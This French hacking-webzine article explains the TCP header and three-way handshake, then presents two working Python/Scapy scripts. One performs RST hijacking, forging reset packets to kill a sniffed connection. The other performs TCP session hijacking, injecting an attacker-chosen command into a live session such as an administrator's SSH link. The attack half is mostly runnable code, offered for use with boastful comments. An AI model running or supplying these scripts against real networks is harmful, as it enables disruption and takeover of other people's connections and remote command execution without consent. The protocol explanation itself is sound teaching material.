Il gère de "A à Z" la connexion (Établissement, Transfert, etc) en utilisant un système de Drapeaux ou Flags. "Couplé" avec le protocole IP (Internet Protocole) qui assure le bon routage des paquets, il forme le modèle TCP/IP.
Une trame TCP est constituée comme ceci:
0 1 2 3
0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Port Source | Port de Destination |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Numéro de Séquence |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Numéro d'acquiescement |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
|Offset | |+|+|+|+|+|+| |
| des | Reservé |+| Flags |+| Fenêtre (Window) |
|données| |+|+|+|+|+|+| |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Checksum | Pointeur Urgent |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Options | Padding |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
| Données |
+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
Port source (16 bits):
C'est le port qui est utilisé par la machine source.
Port de Destination (16 bits):
C'est le port qui est utilisé par la machine de destination.
Numéro de Séquence (32 bits):
C'est le numéro du paquet
Numéro d'acquiescement (32 bits):
C'est un accusé de réception pour les paquets reçus.
Il définit le prochain "Numéro de Séquence".
Offset des données (4 bits):
Ce champ indique où débute les données.
Réserve:
Ce champ sert pour des besoins futurs, il est à 0.
Flags (1 bit):
URG: Pointeur de données urgente
ACK: Acquittement
SYN: Synchronisation
PSH: Transfert de données
FIN: Fin de transmission
RST: Reset de la connexion
Fenêtre (16 bits):
C'est le nombre d'octets que le récepteur est capable de recevoir à partir
de la position indiquée dans l'accusé de réception
Checksum (16 bits):
Indique la validité du paquet
Pointeur Urgent (16 bits):
Donne la position de données urgentes et son décalage
par rapport au numéro de séquence, ce champ est activé
que lorsque le Flag URG est à 1
Options (8 bits):
Option mono-octet
Octet de type, de longueur et de valeur d'option
Padding (0 à 7 bits):
"Bourre" le champ Options pour obtenir une trame TCP
multiple de 32 bits
Données:
Ce sont les données transmises (login, mot de passe, etc)
Une session TCP comporte 3 étapes au cours de sa durée de vie: la "poignée de main" (handshake), l'échange de données à
proprement parler, puis la fermeture de la connexion.
Three-Way Handshake
C'est un nom bien bizarre je vous l'accorde. Il s'agit tout simplement du terme utilisé pour désigner les trois étapes
d'établissement d'une connexion, que nous allons voir ci-dessous.
Première étape:
A -------- Flag SYN, seq=x --------> B
A envoie à B une demande de synchronisation pour débuter un dialogue
en indiquant un numéro de séquence égal à x.
Deuxième étape:
A <------- Flag SYN/ACK, seq=y, ack=x+1 --------- B
B acquiesce le numéro de séquence de A en lui indiquant son numéro de séquence qui est égale a y,
puis un numéro de "ack" (accusé de réception) égal à x+1
Troisième étape:
A -------- Flag ACK, seq=x+1, ack=y+1 --------> B
A acquiesce le numéro de séquence de B en lui indiquant son numéro de séquence qui est égale a x+1 (la valeur ack du paquet précédent)
puis un numéro d'ack égal à y+1 (la valeur seq du paquet précédent).
Transfert de données
Pour le transfert de données, TCP utilise le flag PSH (push) et le flag ACK.
A -------- Flag PSH/ACK, seq=y+1, ack=x+1, DATA=test\n --------> B
A <------- Flag ACK, seq=x+1, ack=(y+1)+len(DATA) --------- B
A envoie la donnée test\n a B.
B, quand à lui, acquiesce la réception en indiquant comme numéro de séquence l'ack du paquet précédent,
et comme accusé de réception (ack) la valeur du numéro de séquence du paquet précédent plus la taille des données reçues.
Fin de Connexion
Pour mettre fin à une connexion, TCP utilise le flag FIN pour terminer proprement la connexion, mais en réalité,
dans la plupart des cas, on utilise le flag RST (reset), qui lui finit brutalement la connexion.
0x03 - RST Hijacking
Le RST Hijacking consiste à clore nous-mêmes la connexion via un paquet TCP avec le flag RST (reset),
rt pour cela il nous faut avoir le numéro de séquence et l'acknowledge afin que le paquet soit accepté
et que la connexion se termine.
Pour ce faire, nous allons coder un script python en utilisant Scapy.
Exemple: P pour pirate.
A -------- Flag PSH/ACK, seq=1000, ack=1200, DATA=salut\n --------> B
A <------- Flag ACK, seq=1200, ack=1006 --------- B
P -------- Flag RST, seq=1006, ack=1200 --------> B
Le script:
# RST Hijacking Script
# Usage: rsthijack.py remote_host remote_port target
#!usr/bin/env/python
"""On importe tout les modules de scapy et sys"""
from scapy.all import *
import sys
"""Filtre a appliquer au Sniffer"""
filtre = "host " + sys.argv[1] + " and port " + sys.argv[2]
print "Waiting..."
print " "
"""Fonction Utilisée par le sniffer à chaque paquet reçu"""
def rst_hijack(p):
"""Si la Source est celle du remote_host (client ou serveur) et la destination celle de la cible"""
if p[IP].src==sys.argv[1] and p[IP].dst==sys.argv[3]:
print "[+] Connection Found!"
print " "
print "[+] It's time to blow this shit!"
"""Alors on forge un Paquet pour notre attaque a partir du paquet reçu"""
"""Ethernet"""
ether = Ether(dst=p[Ether].src, src=p[Ether].dst)
"""IP"""
ip = IP(src=p[IP].dst, dst=p[IP].src, ihl=p[IP].ihl, flags=p[IP].flags, frag=p[IP].frag, ttl=p[IP].ttl,
proto=p[IP].proto, id=29321)
"""TCP, flag: RST"""
tcp = TCP(sport=p[TCP].dport, dport=p[TCP].sport, seq=p[TCP].ack, ack=p[TCP].seq, dataofs=p[TCP].dataofs,
reserved=p[TCP].reserved, flags="R", window=p[TCP].window, options=p[TCP].options)
"""On forme le paquet final"""
reset = ether/ip/tcp
"""On l'envoi"""
sendp(reset)
"""On sort du script"""
sys.exit()
"""Sniffer qui applique à chaque paquet reçu la fonction rst_hijack, paquet trié selon le filtre"""
sniff(count=0,prn = lambda p : rst_hijack(p),filter=filtre,lfilter=lambda(f): f.haslayer(IP) and f.haslayer(TCP))
TCP Session Hijacking
Le TCP Session Hijacking lui, a pour but de "voler" la connexion!
Je m'explique, imaginez qu'un administrateur réseau se connecte sur son serveur SSH. Il crée une connexion d'un client
A à un Serveur B qui dialoguen entre eux en utilisant un numéro de séquence et un acknowledge que seul A et B
connaissent.
Nous, en récupérant les valeurs, nous pouvons répondre avant A, ce qui aura pour effet de nous donner la connexion
et de désynchroniser A de B.
NB: Désynchroniser A provoquera ce que l'on appelle un ACK storm, une tempête d'ACK entre
A et B.
Exemple: P pour pirate.
A -------- Flag PSH/ACK, seq=1000, ack=1200, DATA=Hey\n --------> B
A <------- Flag ACK, seq=1200, ack=1004 --------- B
P ------ Flag PSH/ACK, seq=1004, ack=1200, DATA=Mouhaha\n ------> B
P <------- Flag ACK, seq=1200, ack=1012 --------- B
--------------------------- ACK Storm -----------------------------
A ---------------------- ACK -----------------------> B
A <--------------------- ACK ------------------------ B
A ---------------------- ACK -----------------------> B
A <--------------------- ACK ------------------------ B
Reprenons le précédent script en modifiant quelques lignes:
#TCP Session Hijacking Script
#Usage: hijack.py serveur_ip serveur_port client_ip
#!usr/bin/env/python
from scapy.all import *
import sys
"""Filtre a appliqué au Sniffer"""
filtre = "host " + sys.argv[1] + " and port " + sys.argv[2]
print "Waiting For Hosts " + sys.argv[1] + " > " + sys.argv[3] + " And Port " + sys.argv[2]
print " "
def hijack(p):
cmd=sys.argv[4] """On Stock la commande a executer"""
if p[IP].src==sys.argv[1] and p[IP].dst==sys.argv[3]:
print "[+] Found!"
print "Seq: " + str(p[TCP].seq) + " | Ack: " + str(p[TCP].ack)
"""Seq = Seq_du_paquet_precedent + Len_des_Datas"""
print "Hijack Seq: " + str(p[TCP].ack) + " | Hijack Ack: " + str(p[TCP].seq)
print " "
print "[+] Hijack Session!"
"""Ethernet"""
ether = Ether(dst=p[Ether].src, src=p[Ether].dst)
"""IP"""
ip = IP(src=p[IP].dst, dst=p[IP].src, ihl=p[IP].ihl, flags=p[IP].flags, frag=p[IP].frag, ttl=p[IP].ttl,
proto=p[IP].proto, id=29321)
"""TCP, flag: PUSH/ACK"""
tcp = TCP(sport=p[TCP].dport, dport=p[TCP].sport, seq=p[TCP].ack, ack=p[TCP].seq, dataofs=p[TCP].dataofs,
reserved=p[TCP].reserved, flags="PA", window=p[TCP].window, options=p[TCP].options)
"""On ajoute la commande au paquet"""
hijack = ether/ip/tcp/(cmd+"\n")
sendp(hijack)
"""On sort du script, sinon il repondrat dans l'ACK Storm"""
sys.exit()
"""Sniffer qui applique à chaque paquet reçu la fonction hijack, paquet trié selon le filtre"""
sniff(count=0,prn = lambda p : hijack(p),filter=filtre,lfilter=lambda(f): f.haslayer(IP) and f.haslayer(TCP))
0x03 - Conclusion
Il n'y a aucun doute que ce genre de technique peut être terriblement dangereuse sur un réseau local.
De plus la présence des deux machines sur le réseau n'est pas requise, une seule machine suffit.
Une attaque aveugle à distance reste possible bien que très difficile au niveau de la prédiction des ISN,
des études ont déjà vu le jour et montre que la génération des ISN n'est pas si implacable.
Remerciements
Je tient à remercier aaSSfxxx et B@rBcH pour leurs relectures
> Comment contribuer
Nous acceptons tout type d'article concernant la programmation, des explications sur diverses attaques, la
philosophie et la mentalité hacker ou encore la culture "underground", cependant nous vous recommandons de suivre
ces recommandations:
Essayer d'écrire dans un français le plus correct possible, afin de rester compréhensible pour éviter une phase de
décodage au lecteur (ou aux responsables du webzine)
Faire un article un minimum structuré et d'une longueur acceptable (en évitant les articles de 5 lignes et les romans de
10 pages).
Utiliser un format non obscur (éviter les formats propriétaires tels que les .doc), et la rédaction appréciera grandement
les articles rédigés en html5.
Essayer de limiter les images dans les articles, qui alourdissent le zine, ou du moins essayer de les compresser au maximum.
Ecrire un article original et intéressant: pas la peine de faire un n-ième paper sur comment réaliser des injections sql,
il y a plein de tutos sur internet sur ce sujet. Cependant, un article décrivant une méthode inconnue ou peu utilisée sera sûrement utile.
L'humour est bienvenu dans les articles, à condition de ne pas avoir un humour vulgaire ou insultant envers certaines catégories de personnes.
Vous pouvez envoyer vos articles directement à l'adresse redaction@n-pn.fr, ou contacter un administrateur sur
N-PN pour soumettre votre article.
Nous espérons que vous serez nombreux à contribuer au zine par vos articles ou simplement nous apporter votre soutien moral
